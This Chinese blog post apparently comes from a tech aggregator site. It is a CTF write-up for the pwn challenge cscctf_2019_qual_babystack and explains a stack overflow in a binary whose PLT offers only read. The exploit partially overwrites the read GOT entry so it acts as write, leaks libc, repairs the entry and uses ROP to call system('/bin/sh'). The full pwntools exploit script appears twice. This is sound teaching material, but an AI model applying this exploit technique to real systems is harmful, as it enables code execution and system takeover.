IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 如何在有限的plt下getshell&&cscctf_2019_qual_babystack -> 正文阅读

[网络协议]如何在有限的plt下getshell&&cscctf_2019_qual_babystack

最近做的题目都比较有意思啊,这个题目也一样

cscctf_2019_qual_babystack

cscctf_2019_qual_babystack

题目分析

保护

在这里插入图片描述

漏洞

在这里插入图片描述
直接来了个栈溢出,我开始说这不是傻逼题目吗

plt

在这里插入图片描述
我靠,只有读的,这不完犊子了吗

攻击

大致思路

大致思路就是ROP
但怎么泄露libc

调试

在这里插入图片描述
可以看到地址只有最后一位差距,所以我们可以给got里面最后一位改成\xf0,相当于read变成write,这样就可以泄露libc,最后在利用plt+6重新解析回正常的write

第一次溢出的payload

  1. 修改read got表
  2. 泄露libc
  3. 利用dlreslov修改正常的read got
  4. 回到vuln
pop_three_ret = 0x08048519#指pop三个任意寄存器
payload = (
   b"a" * 0x14
   
   #修改read got
   + p32(elf.plt["read"])
   + p32(pop_three_ret)
   + p32(0)
   + p32(elf.got["read"])
   + p32(1)
   
   #泄露libc
   + p32(elf.plt["read"])
   + p32(pop_three_ret)
   + p32(1)
   + p32(elf.got["read"])
   + p32(4)

   #修复read got
   + p32(elf.plt["read"] + 6)
   + p32(pop_three_ret)
   + p32(0)
   + p32(0x804A020)
   + p32(1)
   回到漏洞
   + p32(elf.sym["vuln"])
)
s(payload)
sleep(1)#防止粘滞
s(b"\xf0")
libc_base = u32(ru(b"\xf7")) - libc.sym["write"]
s(b"\x00")#这个只是用来修服,随便完bss写一个东西,因为dlresolv最终还是会调用一下
sleep(1)

getshell

system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
payload = b"a" * 0x14 + p32(system_addr) + p32(0) + p32(bin_sh_addr)
s(payload)
it()

allpayload

pop_three_ret = 0x08048519
payload = (
    b"a" * 0x14
    + p32(elf.plt["read"])
    + p32(pop_three_ret)
    + p32(0)
    + p32(elf.got["read"])
    + p32(1)
    + p32(elf.plt["read"])
    + p32(pop_three_ret)
    + p32(1)
    + p32(elf.got["read"])
    + p32(4)
    + p32(elf.plt["read"] + 6)
    + p32(pop_three_ret)
    + p32(0)
    + p32(0x804A020)
    + p32(1)
    + p32(elf.sym["vuln"])
)
s(payload)
sleep(1)
s(b"\xf0")
libc_base = u32(ru(b"\xf7")) - libc.sym["write"]
s(b"\x00")
sleep(1)
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
payload = b"a" * 0x14 + p32(system_addr) + p32(0) + p32(bin_sh_addr)
s(payload)
it()

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-04-06 16:25:55  更:2022-04-06 16:27:16 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 4:19:29-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码